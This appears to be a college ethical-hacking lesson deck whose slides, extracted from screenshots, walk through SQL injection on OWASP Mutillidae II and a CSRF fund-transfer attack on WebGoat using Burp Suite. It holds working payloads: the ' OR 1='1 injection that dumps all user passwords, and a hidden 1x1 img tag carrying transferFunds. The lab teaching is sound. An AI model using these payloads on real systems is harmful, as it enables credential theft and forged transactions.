## **OWASP** Mutillidae II

#### OWASP 2013 > A1 Injection (SQL) > SQLi - Extract Data > User Info (SQL)

	Version: 2.6.24 Securit	Itillidae II: Web Pwn in Mass Prod V Level: 0 (Hosed) Hints: Disabled (0 - I try harder) Not
	Home   Login/Register   Toggle Hints	Show Popup Hints   Toggle Security   Enforce SSL   Reset DB   View Log   V
OWASP 2013	A1 - Injection (SQL)	SQLi - Extract Data 🕨 User Info (SQL)
OWASP 2010	A1 - Injection (Other)	SQLi - Bypass Authentication
	- A2 - Broken Authentication and Session▶	SQLi - Insert Injection
OWASP 2007	Management	Blind SQL via Timing
Web Services	A3 - Cross Site Scripting (XSS)	SQLMAP Practice
HTML 5	— A4 - Insecure Direct Object Reference:≯ ├	Via JavaScript Object Notation (JSON)
and a second	A5 - Security Misconfiguration	Via SOAP Web Service
Others	A6 - Sensitive Data Exposure	Via REST Web Service
Documentation	A7 - Missing Function Level Access ▶ _ Control	Listing of vulnerabilities
Resources	A8 - Cross Site Request Forgery	
1	A9 - Using Components with Known Vulnerabilities	Bug Report Email Address
Getting Started	A10 - Unvalidated Redirects and Forwards	
Whitenaper		× 🔺

Keep selecting till you get to User Info (SQL)



#### **OWASP** Mutillidae II



Click the link to register a new account for yourself



#### **OWASP** Mutillidae II

9. 			Mozilla Firefox					• •	8
http://172egiste	er.php 🗙 🕒 webpw	vnized - YouTube × 🕂							
() 172.30.10.175	/mutillidae/index.php?	page=register.php	<u>ଟ</u> ସ୍ ହ	Search	☆ 🖻	•	⋒	₩ ▼	Ш
🛅 Most Visited ▼ 👖 Of	fensive Security 🌂K	ali Linux 🌂 Kali Docs 🎈	Kali Tools 🛄 Exploi	t-DB 🐚 Aircrack-ng					
		Mutillidaa		in Mass B	roduc	tion			
	OWASP	Mutinuae I			Touuc	LION			
Home	Login/Register   Toggl	e Hints   Show Popup Hints	Toggle Security   Enfor	ce SSL   Reset DB   View .	Log   View Cap	tured Data			
OWASP 2013									
OWASP 2010		К	egister for a	n Account					
OWASP 2007	Back	謍 Help Me!							
Web Services									
HTML 5	Switch	to RESTful Web Servic	e Version of this P	age					
Others /									
Resources >		Please choos	e your username,	password and sig	nature				
<i>7</i>		Userneme	rimbon76	1					
		Password		Password Generato	r				
Getting Started: Project		Confirm Passwor	d						
Whitepaper		<b>c</b> :	I love chicken						
<b>1</b>		Signature							
Release									
Announcements			Create Acco	ount					
Announcements			Create Acco	unt					
Announcements			Create Acco	unt					

Add username, password of your choice and any text for the signature



#### **OWASP** Mutillidae II



#### Account has been created



# OWASP Mutillidae II

OWASP 2013	A1 - Injection (SQL)	SQLi - Extract Data	User Info (SQL)

Now that we have created a new user, lets start over and login



#### **OWASP** Mutillidae II



Login using your new account



#### **OWASP** Mutillidae II



If successful your account details will be display below



#### **OWASP** Mutillidae II

Mozilla Firefox - D	×
🚯 http://172nt+Details 🗴 💶 webpwnized - YouTube 🗴 🛑	
🗲 🖉 ) 🖟 172.30.10.175/mutillidae/index.php?page=user-info.php; 🕑 🔍 Search 🏠 🖨 💌 🖡 🎓 🥐 🔻	=
📷 Most Visited 🔻 🌆 Offensive Security 🌂 Kali Linux 🌂 Kali Docs 🌂 Kali Tools 🌉 Exploit-DB 🐚 Aircrack-ng	
🐳 OWASP Mutillidae II: Web Pwn in Mass Production	
Version: 2.6.24 Security Level: 0 (Hosed) Hints: Disabled (0 - I try harder) Not Logged In	1
Home Login/Register Toggle Hints Show Popup Hints   Toggle Security   Enforce SSL   Reset DB   View Log   View Captured Data	4
User Lookup (SQL)	
owasp 2007 Back Steep Me!	
Web services     Y       HTML 3     Y       others     Y   Switch to SOAP Web Service version       Switch to XPath version	
Documentation Please enter username and password to view account details	
Name Password	To run a text editor
Getting Started: Project Whitepaper	
Dont have an account? Please register here	Applications >
http://172.30.10.175/mutillidae/index.php?page=user- info.php&username=simben76&password=password&user-info-php-submit-button=View+Account+Details	Accessories > Text Editor
Plain Text 🔻 Tab Width: 8 👻 Ln 1, Col 146 💌 INS	

Record the URL in a text editor so you can examine the fields



## OWASP Mutillidae II

	Mozilla Firefox 🕒 🕒								
http://172	🚯 http://172nt+Details 🗙 💶 webpwnized - YouTube 🗙 🖶								
() i -info.php	&username=simben76&password=bad)assword&u 🛛 😋 🔍 Search 🔗 🖨 🤝 🐥 🏫	≡ <b>v</b> ≈ 1							
orgination and the matter of	a Most Visited ▼ III Offensive Security 🌂 Kali Linux 🥆 Kali Docs 🌂 Kali Tools III Exploit-DB 🐚 Aircrack-ng								
	Version: 2.6.24 Security Level: 0 (Hosed) Hints: Disabled (0 - I try harder) Not Logged In								
	Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured Data								
OWASP 2013	User Lookup (SQL)								
OWASP 2010									
OWASP 2007	Васк У Нер ме!								
Web Services									
HTML 5	Switch to SOAP Web Service version								
Descurrent ation	Authentication Error: Bad user name or password								
Resources	Please enter username and nassword								
	to view account details								
1	Name								
Getting Started:	Password								
Project Whitepaper	View Account Details								
	Dont have an account? Please register here								
<b>5</b>	Results for "simben76".0 records found.								
Release									
Announcements									
		V							

Tamper with the password portion of the URL to see if you can get an error



## OWASP Mutillidae II



Fix the password and add a single quote after it. Try it and observe what happens.

149



## **OWASP** Mutillidae II

Error Message

	Failure is always an option					
Line	170					
Code	0					
File	/owas	pbwa/mutillidae-git/classes/MySQLHandler.php				
Message	<pre>/owaspbwa/mutillidae-git/classes/MySQLHandler.php on line 165: Error executing query: connect errno: 0 errno: 1064 error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''password''' at line 2 client_info: 5.1.73 host_info: Localhost via UNIX socket ) Ouery: SELECT * FROM accounts WHERE username='simben76' AND password='password'' (0) [Exception]</pre>					
Trace	<pre>#0 /owaspbwa/mutillidae-git/classes/MySQLHandler.php(283): MySQLHandler-&gt;doExecuteQuery('SELECT * FROM a') #1 /owaspbwa/mutillidae- git/classes/SQLQueryHandler.php(327): MySQLHandler-&gt;executeQuery('SELECT * FROM a') #2 /owaspbwa/mutillidae-git/user-info.php(191): SQLQueryHandler-&gt;getUserAccount('simben76', 'password'') #3 /owaspbwa/mutillidae-git/index.php(614): require_once('/owaspbwa /mutil') #4 {main}</pre>					
Diagnotic Information	Error	attempting to display user information				
]		Click here to reset the DB				

#### Scroll down to see the full error message

http://172.30.10.175/mutillidae/index.php?page=userinfo.php&username=simben76&password=password&user-info-php-submit-button=View+Account+Details Query: SELECT \* FROM accounts WHERE username='simben76' AND password='password 0

Lots off useful information is shown. Log the URL and SQL query in the text editor

150



#### **OWASP** Mutillidae II



What happens is we use a password of: ' OR 1='1



#### OWASP Mutillidae II

Mozilla Firefox 🕒 🗊	0
🚯 http://172nt+Details 🗙 💶 webpwnized - YouTube 🗙 🛑	
(♦) ② \i) info.php&username=&password='+OR+1%3D'1&user-inf   C   Q Search ☆ 自 ♥ ↓ ☆ ★ ▼	≡
📷 Most Visited ▼ 👖 Offensive Security 🌂 Kali Linux 🌂 Kali Docs 🌂 Kali Tools 🔝 Exploit-DB 📡 Aircrack-ng	
👾 OWASP Mutillidae II: Web Pwn in Mass Production	
Version: 2.6.24 Security Level: 0 (Hosed) Hints: Disabled (0 - I try harder) Not Logged In	
Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured Data	
OWASP 2013 User Lookup (SQL)	
owasP 2010	
Wab Services	
HTML 5 ' Switch to SOAP Web Service version	
others '	
Documentation Please enter username and password	
Resources to view account details	
Name	
Getting Started:	
Project Whitepaper	
Dont have an account? Please register here	
Username=admin	
Password=admin       Release     Signature=g0t r00t?	
Announcements Username=adrian	
You Signature=Zombie Films Rock!	
Query: SELECT * EROM accounts WHERE username='' AND password='' OR 1='1	▼
acty. Seecen mon accounts where asername - And password - on re-r	
Plain Text ▼ Tab Width: 8 ▼ Ln 6, Col 72 ▼ INS	

#### That results is a SQL query to dump all the data in the database!



#### **OWASP** Mutillidae II





#### **OWASP** Mutillidae II





## **OWASP** Mutillidae II



Results for "simben76' OR 1='1".1 records found.

Username=simben76 Password=password Signature=I love chicken



## **OWASP** Mutillidae II



# Or all users and passwords in the database!

Results for "".25 records found.				
Username=admin Password=admin Signature=g0t r00t?				
<b>Username</b> =adrian <b>Password</b> =somepassword <b>Signature=</b> Zombie Films Rock!				
Username=john Password=monkey Signature=I like the smell of confunk				
<b>Username</b> =jeremy <b>Password=</b> password <b>Signature=</b> d1373 1337 speak				
<b>Username=</b> bryce <b>Password=</b> password <b>Signature=</b> I Love SANS				
<b>Username=</b> samurai <b>Password=</b> samurai <b>Signature=</b> Carving fools				
<b>Username</b> =jim <b>Password</b> =password <b>Signature=</b> Rome is burning				
<b>Username</b> =bobby <b>Password</b> =password <b>Signature=</b> Hank is my dad				
Username=simba Password=password Signature=I am a super-cat				



# A8**Cross-Site** Request Forgery (CSRF)



# Cross-Site Request Forgery (CSRF)

- Another malicious type of attack on a website.
- Also known as a "one-click attack" or "session riding" attack.
- The browser must already be authenticated on a legitimate website and is therefore "trusted" by that web application.
- The browser is then tricked into sending unauthorized malicious (forged) requests to that website.
- This vulnerability can be extremely dangerous ... think online banking.



# Cross-Site Request Forgery (CSRF)

#### **OWASP** Risk Rating

Threat Agents	Attack Vectors	Security \	Weakness	Technical Impacts	Business Impacts
Application Specific	Exploitability AVERAGE	Prevalence COMMON	Detectability EA SY	Impact MODERATE	Application / Business Specific
Consider anyone who can load content into your users' browsers, and thus force them to submit a request to your website. Any website or other HTML feed that your users access could do this.	Attacker creates forged HTTP requests and tricks a victim into submitting them via image tags, XSS, or numerous other techniques. <u>If the user</u> <u>is authenticated</u> , the attack succeeds.	CSRF P takes advanta web apps allow attacke details of a particular a Because browsers sen session cookies autom create malicious web p forged requests that an from legitimate ones. Detection of CSRF flaw penetration testing or o	age the fact that most ers to predict all the action. Ind credentials like natically, attackers can bages which generate re indistinguishable ws is fairly easy via code analysis.	Attackers can trick victims into performing any state changing operation the victim is authorized to perform, e.g., updating account details, making purchases, logout and even login.	Consider the business value of the affected data or application functions. Imagine not being sure if users intended to take these actions. Consider the impact to your reputation.



You Tube

#### CIS 76 - Lesson 12

#### Cross-Site Request Forgery (CSRF)



https://www.youtube.com/watch?v=vRBihr41JTo



## **OWASP CSRF Prevention**

#### How Do I Prevent 'Cross-Site Request Forgery (CSRF)'?

Preventing CSRF usually requires the inclusion of an unpredictable token in each HTTP request. Such tokens should, at a minimum, be unique per user session.

- 1. The preferred option is to include the unique token in a hidden field. This causes the value to be sent in the body of the HTTP request, avoiding its inclusion in the URL, which is more prone to exposure.
- 2. The unique token can also be included in the URL itself, or a URL parameter. However, such placement runs a greater risk that the URL will be exposed to an attacker, thus compromising the secret token.
- 3. OWASP's CSRF Guard can automatically include such tokens in Java EE, .NET, or PHP apps. OWASP's ESAPI includes methods developers can use to prevent CSRF vulnerabilities.
- 4. Requiring the user to reauthenticate, or prove they are a user (e.g., via a CAPTCHA) can also protect against CSRF.



## CSRF Example References and Credits



https://www.tutorialspoint.com	/security_testing/index.htm		0, ģ
tutori		] Whiteboard ■ Net Meeting	connect @videos Q Search
LEARN SECURITY TESTING		LEARN SECURITY TESTING Simply easy learning	f t in 8 Ju weba Introducing Dynamic Mappi Say goodbye to static network diagram
Security Testing Tutorial	Previous Page	Next Page Θ	*
Security Testing Home	Security	Testing Tutorial	「「「「「」」「「」」「「」」「「」」「「」」」「「」」」「「」」」「「」」」「」」「」」「」」」「」」「」」「」」」「」」「」」」「」」「」」」「」」」「」」」
Security Testing Overview	D PDF Version # Quick Guide C Resources # Job Search & Discussion		Learn mor
Security Testing Process	and the second sec		
Malacious Software	Security Testing is perfor	Experience the Power	
HTTP Protocol Basics	system inorder to protect the data and maintain functionality.		
HTTPS Protocol Basics	This tutorial will teach you	the core concepts of Security Testing	Snark Streaming
Encoding and Decoding	and each of these sections	opartonoarning	
Cryptography Overview	userui examples.		Try StreamAnalytix on Cloud
Same Origin Policy	A	udience	
@ Testing Cookies	This reference has been pr	epared for the beginners to help them	
Hacking Web Applications	to understand the basics	of security Testing. This tutorial will	Free Trial
Testing Injection	give you enough understa you can take yourself to a	nding on security testing from where higher level of expertise.	Tree mar
	you can take you sen to a i	ingriter rever or experiode.	

https://www.tutorialspoint.com/security \_testing/index.htm





https://www.tutorialspoint.co m/security\_testing/pdf/cross \_\_\_\_\_\_site\_request\_forgery.pdf



Lesson Fian Title: How to Fellolin Clo	oss Site Request Forgery.	
Concept Trails To Trank		
Concept/Topic To Teach:		
This lesson teaches now to periorn Cros	ss Site Request Forgery (CSRF) attacks.	
How the attacks works:		
Cross-Site Request Forgery (CSREXS)	RE) is an attack that tricks the victim into i	oading a page that contains img
like the one below		eren gespege eret ereten og
simo src="http://www.mybank.com/sendf	Funds do?acctid=123456%>	
When the victim's browser attempts	to render this page, it will issue a r	equest to www.mvbank.com to
transferEunds do nade with the specifie	d parameters. The browser will think the	ink is to get an image, even thou
actually is a funds transfer function. The	request will include any cookies associat	ed with the site. Therefore, if the
has authenticated to the site, and has ei	ther a permanent cookie or even a currer	t session cookie, the site will hav
way to distinguish this from a legitimate	user request. In this way, the attacker car	make the victim perform actions
they didn't intend to, such as logout, purch	hase item, or any other function provided t	y the vulnerable website
General Goal(s):		
Your goal is to send an email to a news	group that contains an image whose URL	is pointing to a malicious reques
to include a 1x1 pixel image that includ	les a URL. The URL should point to the O	SRF lesson with an extra paran
"transferFunds=4000". You can copy the	e shortcut from the left hand menu by rig	ht clicking on the left hand menu
choosing copy shortcut. Whoever receiv	ves this email and happens to be authent	icated at that time will have his f
transferred. When you think the attack is	s successful, refresh the page and you will	I find the green check on the left I
side menu.		
Note that the "Screen" and "menu" (	GET variables will vary between WebC	oat builds. Copying the menu
on the left will give you the current va	alues.	
O	8:4080	1.4-
Cargh C	an - See a second	O terra-
2 2 genen in Farlann Less The Sequet Propert (1987)	5.0 **	12 Test - Q Test - *
ml	Legent Ø	1
and the sector of the sector of	and the second se	
How to Perform Cross Site R	tequest Forgery (CSRF)	
Officer Webdoost 11	Mark Arra 1 Lassed Para	

Lots and lots of hacking tutorials

PDF of the CSRF testing tutorial

Solution page on OWASP VM website

ce?solution=true


Example Overview:

In this WebGoat example malicious html code is inserted into a post on a forum-like web application. This code is stored in the database and isn't rendered until a user reads the post. When the malicious code is activated the browser will be tricked into sending an unauthorized (forged) request to another website. The browser thinks it is getting an image file to display however there is no image.

We will browse to the WebGoat application using Firefox on EH-Kali. Burp Suite will be used on EH-Kali as a web proxy so we can intercept and monitor every request the browser makes.



## Cross-Site Request Forgery (CSRF) Setup

#### [EH-Kali]

2

M

3

7

00

....

#### **Burp Suite on EH-Kali-xx**





Close Update now

000



#### [EH-Kali] Burp Suite

	Bu	rp i	Suite Free Edition v	1.7.03	00				
?	Welcome to Burp Suite Free Edition. Use the option open a project. Note: Disk-based projects are only supported on Bu	is b irp	elow to create or Suite Professional.	4	BURPS	SUITE			
	Temporary project								
	New project on disk Fil Nam	e: e:				Choose file			
	Open existing project		News	51-					
			Name	гне					
	HI	e:	Pause Spider and S	canner		Choose Tile			
						Cancel			

Select "Temporary project" and click the Next button



#### [EH-Kali] Burp Suite

Burp	Suite Free Edition v1.7.03	
Select the configuration that you would like to load for a second sec	pr this project.	<b>BURPSUITE</b>
Use Burp defaults		
Use options saved with project		
Load from configuration file	File	
File:		Choose file
Default to this option in future		
		Cancel Back Start Burp

Select "Use Burp defaults" and click the Start Burp button



#### [EH-Kali] Burp Suite

Burp Suite Free Edition v1.7.03 - Temporary Project												
Burp Intruder Repeater Window Help												
Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Project options User options Ale	rts											
Intercept HTTP history WebSockets history Options												
Forward       Drop       Intercept is on       Action         Raw       Hex												



#### [EH-Kali] Burp Suite

					Burp Suite	Free Editio	n v1.7.03	- Tempora	ry Project			•	•	0
Burp	Intruder Re	peater W	indow Help											
Targ	et Proxy	Spider	Scanner	Intruder	Repeater	Sequencer	Decoder	Comparer	Extender	Project option	IS User options	Alert	s	
Inter	cept HTTP	history	WebSocket	ts history	Options									
?	Proxy List	teners									6' 1994			-
Burp Proxy uses listeners to receive incoming HTTP requests from your browser. You will need to configure your browser to use one of the listeners as proxy server.												as		
	Add	Runnir	ng Interf	ace	Invisible	Redirect		Certificate	e					
			127.0	.0.1:8080				Per-host						
	Edit													
	Remove	)								•				
	Each installa	ation of B	urp generat	es its own	CA certifica	te that Proxy l	isteners ca	an use when	negotiating	SSL connection	s. You can import	or exp	ort thi	s
	certificate fo	or use in o	other tools	or another	installation	of Burp.								
	Import / e	xport CA	certificate	Regen	erate CA cei	tificate								
?	Intercept	Client	Requests											
Ø	Use these s	ettings to	control wh	ich reques	ts are stalle	d for viewing	and editing	in the Interc	ept tab.					
	🗹 Intercept	requests	s based on t	the followir	ng rules:									
	Add	Enable	ed Opera	ator Mate	ch type	Relationsh	ip	Condition						
				File	extension	Does not r	match	(^gif\$ ^j;	og\$ ^png\$ '	`css\$ ^js\$				
	Edit		Or	Req	uest P. method	Contains p	arameters	(getinost)						-
-	<u></u>				meanou	5003 11001	macen	(getpost	,				,	

#### Click the Options tab and verify Burp Suite is listening on port 8080



#### [EH-Kali] Burp Suite

Burp Suite Free Edition v1.7.03 - Temporary Project													
Burp Intruder Repeater Window Help													
Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Project options User options Ale	arts												
Intercept HTTP history WebSockets history Options													
Forward       Drop       Intercept is on       Action       Comment this item         Raw       Hex       Item       Item													
? < + >	0 m	natch	• ies										

#### Click the Intercept tab to monitor browser requests



#### [EH-Kali] Firefox



#### Switch to Workspace 2 and run Firefox



#### [EH-Kali] Firefox

Kali Linux, an Offensive Security Project -	Mozilla Firefox	000
Kali Linux, an Offensive S ×		
( ) file:///usr/share/kali-defaults/web/homepage.html C Q Search	☆ 自 ♥ ♣	A ₩ ▼ Ξ
🛅 Most Visited 🔻 👖 Offensive Security 🌂 Kali Linux 🌂 Kali Docs 🌂 Kali Tools 🚦	ス Cut 📭 Copy	🖞 Paste
KALL	- 100%	+
	New Window New Private Window	Save Page
	0	<b>↓</b>
	Print History	Full Screen
	۵ ۵	ġ.
	Find Preferences	Add-ons
	۶ ۴	
	Developer Synced Tabs	
	🗘 Sign in to Sync	
	Customize	0 0

#### Select Preferences



#### [EH-Kali] Firefox

	Preferences - Mozilla Firefox	0	•	0
Kali Linux, an Offensive S	× Preferences × +			
Firefox   about:preferen	ces#advanced C Q Search 🔂 🖻 🛡 🖡 🏫	*	,	≡
📷 Most Visited 🔻 👖 Offensive	Security 🌂 Kali Linux 🌂 Kali Docs 🌂 Kali Tools 🎚 Exploit-DB 📡 Aircrack-ng			
				Α.
[0] General	Advanced	?	)	
<b>Q</b> Search			2	
E Content	General Data Choices Network Update Certificates			
Applications	Connection			
🗢 Privacy	Configure how Firefox connects to the Internet	s	J	
🕰 Security	Cached Web Content			
C) Sync	Your web content cache is currently using 85.9 MB of disk space <u>C</u> lear No	wc		
	Override automatic cache management			
B Advanced	Limit cache to 350 MB of space			
	Offline Web Content and User Data			
	Your application cache is currently using 0 bytes of disk space Clear Network	wc		
	✓ <u>T</u> ell me when a website asks to store data for offline use E <u>x</u> ception	าร	1	
4	The following websites are allowed to store data for offling user			▼

#### Advanced > Network > Settings...

## Cabrills College

## Cross-Site Request Forgery (CSRF) Setup

#### [EH-Kali] Firefox

I and proxy co	nfiguration:		
HTTP Pro <u>x</u> y:	localhost	<u>P</u> ort:	8080
	se this proxy server for a	all protocols	
SS <u>L</u> Proxy:	localhost	P <u>o</u> rt:	8080
ETP Proxy:	localhost	Po <u>r</u> t:	8080
SO <u>C</u> KS Host:	localhost	Por <u>t</u> :	8080
No Proxy for: localhost, 127.	0.0.1		

This will configure the browser to use the Burp Suite as a proxy service.

*This enables the Burp Suite to intercept and monitor all Firefox browser requests.* 

#### Configure the proxy service as shown above



#### [EH-Kali] Firefox browse to http://10.76.xx.101



From your Kali VM, browse to your OWASP VM and head to WebGoat



#### [EH-Kali] Burp Suite

Burp Suite Free Edition v1.7.03 - Temporary Project													Ð	8
Burp Int	ruder Re	peater W	/indow Helj	o										
Target	Proxy	Spider	Scanner	Intruder	Repeater	Sequencer	Decoder	Comparer	Extender	Project options	User options	Alerts		
Interce	ot HTTP	history	WebSocke	ts history	Options									
Forv	vard		Drop	Interce	ot is on	Action				Com	ment this item		==	?
Raw	Headers	Hex											-	0
GET /Web	Goat/at1	tack HTT	P/1.1											
Host: 10	.76.5.10	)] ]]_/F_0	(111) 14		4	a) Cocko (201	00101 Eir	ofox/4E 0						
Accept: :	text/htr	nl,appli	cation/xh	tml+xml,a	pplication	n/xml;q=0.9,	*/*;q=0.8	e10x/45.0						
Accept-L Accept-E	anguage ncoding	en-US, gzip,	en;q=0.5 deflate											
Referer:	http://	/10.76.5	.101/											
connect1	on. cco:	50												
			<u> </u>									_		V
?	< +		1									0	matc	hes

Back on workspace 1 click the Forward button on Burp Suite



#### [EH-Kali] Burp Suite

				Burp Suit	e Free Editio	on v1.7.03	- Tempora	ry Project			0	×	
Burp Intruder Repeater Window Help													
Target Proxy S	Spider	Scanner	Intruder	Repeater	Sequencer	Decoder	Comparer	Extender	Project options	User options	Alerts		
Intercept HTTP hi	istory	WebSocke	ts history	Options									
Forward Raw Headers H	D Hex	Drop	Intercep	ot is on	Action				Con	ment this item		?	
					Authentic	ation Req	uired			8	)	ĥ	
User N Passu	) Jame: word:	A usernar Applicatio guest	me and pa on"	ssword an	e being requ	ested by I	nttp://10.76.	5.101. The	e site says: "Wel	OK			
												*	
? < +	>	Type a sea	arch term								0 m	atches	

*Login to WebGoat with username and password = guest* 



#### [EH-Kali] Burp Suite

Burp Suite Free Edition v1.7.03 - Temporary Project												
Burp Intruder Repeater	Window Help	р										
Target Proxy Spide	Scanner	Intruder	Repeater	Sequencer	Decoder	Comparer	Extender	Project options	User options	Alerts	5	
Intercept HTTP histor	WebSocke	ets history	Options									
Request to http://10.	76.5.101:80											
Forward	Drop	Interce	pt is on	Action				Con	nment this item		1	?
Raw Headers Hex											_	_
GET /WebGoat/attack H Host: 10.76.5.101 User-Agent: Mozilla/5 Accept: text/html,app Accept-Encoding: gzip Referer: http://10.76 Connection: close Authorization: Basic :	TP/1.1 0 (X11; Lin ication/xh1 ;en;q=0.5 deflate 5.101/ :3Vlc3Q6Z3VI	nux x86_6 tml+xml,ap	4; rv:45.0 pplicatior	0) Gecko/201 n/xml;q=0.9,	100101 Fir	refox/45.0 3					) mat	× these



#### [EH-Kali] Firefox



#### In workspace 1 start WebGoat



#### [EH-Kali] Burp Suite

Burp Suite Free Edition v1.7.03 - Temporary Project												
Burp Intruder Repeater Window Help												
Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Project options User options Ale	erts											
Intercept HTTP history WebSockets history Options												
Request to http://10.76.5.101:80												
Forward Drop Intercept is on Action Comment this item			?									
Raw Params Headers Hex												
<pre>POST /WebGoat/attack HTTP/1.1 Host: 10.76.5.101 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://10.76.5.101/WebGoat/attack Cookie: JSESSIONID=300638BCE6A801E522B6878A82A1202A; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada Authorization: Basic Z3Vlc3Q6Z3Vlc3Q= Connection: close Content-Type: application/x-vww-form-urlencoded Content-Length: 19 start=Start+WebGoat</pre>			*(									
? < + > Type a search term	0 m	natcl	nes									

#### Click Forward on Burp Suite to continue



#### [EH-Kali] Firefox



*Scroll down a little* 

#### Navigate on the left panel to Cross Site Request Forgery (CSRF)



#### [EH-Kali] Burp Suite

Burp Suite Free Edition v1.7.03 - Temporary Project	•	•	0
Burp Intruder Repeater Window Help			
Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Project options User options Al	erts		
Intercept HTTP history WebSockets history Options			
Forward Drop Intercept is on Action Comment this item			?
Raw Params Headers Hex			
<pre>GET /WebGoat/attack?Screen=204&amp;menu=900 HTTP/1.1 Host: 10.76.5.101 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html.application/xhtml+xml.application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate Referer: http://10.76.5.101/WebGoat/attack Cookie: JSESSIONID=3006380EC6A8001E5220E8678A82A1202A; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada Authorization: Basic Z3Vlc306Z3Vlc30= Connection: close</pre>			
? < + > Type a search term	0	mato	:hes

#### Click Forward on Burp Suite to continue



#### [EH-Kali] Firefox

	Cross Site Request Forgery (CSRF) - Mozilla Firefox	•	
Kali Linux, an Offensive S 🗙 🔞 Cro	oss Site Request F × +		
( ) 10.76.5.101/WebGoat/attack?Sc	reen=52&menu=90 🧭 🔍 Search 🔂 🖻 🛡 🖡 🏫	*	≡
Most Visited ▼ MOffensive Security	🗙 Kali Linux 🌂 Kali Docs 🌂 Kali Tools [] Exploit-DB 🐚 Aircrack-ng		
Buffer Overflows Code Quality Concurrency Cross-Site Scripting (XSS) <u>Phishing with XSS</u> <u>LAB: Cross Site Scripting</u> <u>Stage 1: Stored XSS</u>	malicious request. Try to include a 1x1 pixel image that includes a URL. The UR the CSRF lesson with an extra parameter "transferFunds=4000". You can copy th left hand menu by right clicking on the left hand menu and choosing copy short receives this email and happens to be authenticated at that time will have his f When you think the attack is successful, refresh the page and you will find the left hand side menu. <b>Note that the "Screen" and "menu" GET variables will vary between W</b> <b>Copying the menu link on the left will give you the current values.</b>	L shou ne sho cut. W unds f green <b>ebGo</b>	uld pc ▲ ortcut /hoev transf check at bi
Stage 2: Block Stored XSS using Input Validation Stage 3: Stored XSS Revisited	Title: Fun lab Message: I like this lab a lot!		
Stage 4: Block Stored XSS using Output Encoding Stage 5: Reflected XSS			
Stage 6: Block Reflected XSS Stored XSS Attacks			
Reflected XSS Attacks Cross Site Request Forgery (CSRF)			
CSRF Prompt By-Pass CSRF Token By-Pass			
<u>HTTPOnly Test</u> <u>Cross Site Tracing (XST)</u> <u>Attacks</u>	Submit		
Improper Error Handling Injection Flaws	Maccago List		•

#### Fill out the form and click the Submit button



#### [EH-Kali] Burp Suite

Burp Suite Free Edition v1.7.03 - Temporary Project		(	8
Burp Intruder Repeater Window Help			
Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Project options User options Ale	erts		
Intercept HTTP history WebSockets history Options			
Request to http://10.76.5.101:80			
Forward Drop Intercept is on Action Comment this item			?)
Raw Params Headers Hex			
POST /WebGoat/attack?Screen=52&menu=900 HTTP/1.1 Host: 10.76.5.101 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate Referer: http://10.76.5.101/WebGoat/attack?Screen=52&menu=900 Cookie: JSSESIONUP=82209COP2694E50F11890ADB48BE0AE; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada Authorization: Basic Z3Vlc3Q6Z3Vlc3Q= Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 60 title=Fun+lab&message=I+like+this+lab+a+lot%21&SUBMIT=Submit			*
? < + > Type a search term	0 m	atch	ies

#### Click Forward on Burp Suite to continue



## Cross-Site Request Forgery (CSRF) Setup

#### [EH-Kali] Terminal scp xxxxxx76@opus-ii:../depot/lesson12/csrf/\* . cat payload

root@eh-kali-05: ~	0	•	8
File Edit View Search Terminal Help			
<pre>root@eh-kali-05:-# scp simben76@opus-ii:/depot/lesson12/csrf/* . simben76@opus-ii's password: payload 100% 108 4.1KB/s 00:( root@eh-kali-05:~# cat payload <img height="" pre="" root@eh-kali-05:~#<="" src="http://10.76.xx.101/WebGoat/attack?Screen=81&amp;menu=210&amp;transferFunds=5000" width="1"/></pre>	0 ="1"	/>	

In workspace 3 open a terminal and copy the payload file on Opus-II



#### [EH-Kali] Firefox



*Create new message using the malicious HTML payload (copy an paste from terminal) to transfer bank funds* 



#### [EH-Kali] Burp Suite

Burp Suite Free Edition v1.7.03 - Temporary Project	)	•	8
Burp Intruder Repeater Window Help			
Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Project options User options A	lerts		
Intercept HTTP history WebSockets history Options			
Request to http://10.76.5.101:80			
Forward Drop Intercept is on Action Comment this item			?
Raw Params Headers Hex			0
POST /WebGoat/attack?Screen=52&menu=900 HTTP/1.1			
Host: 10.76.5.101 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0			
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5			
Accept-Encoding: gzip, deflate Referer: http://10.76.5.101/WebGoat/attack?Screen=52&menu=900			
Cookie: JSESSIONID=822D9C0F92694E50F1189DADB48BE0AE; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada			
Contextion: close			
Content-Length: 189			
title=Trouble&message=%3Cimg+src%3D%22http%3A%2F%2F10.76.xx.101%2FWebGoat%2Fattack%3FScreen%3D81%26menu%3D210%26transferFices	unds	%3D	
5000%22+width%3D%221%22+height%3D%221%22+%2F%3E&SUBMIT=Submit			
			*
? < + > Type a search term	0	mat	ches

#### Click Forward on Burp Suite to continue



#### [EH-Kali] Burp Suite

Burp Suite Free Edition v1.7.03 - Temporary Project	) (	Ð	8
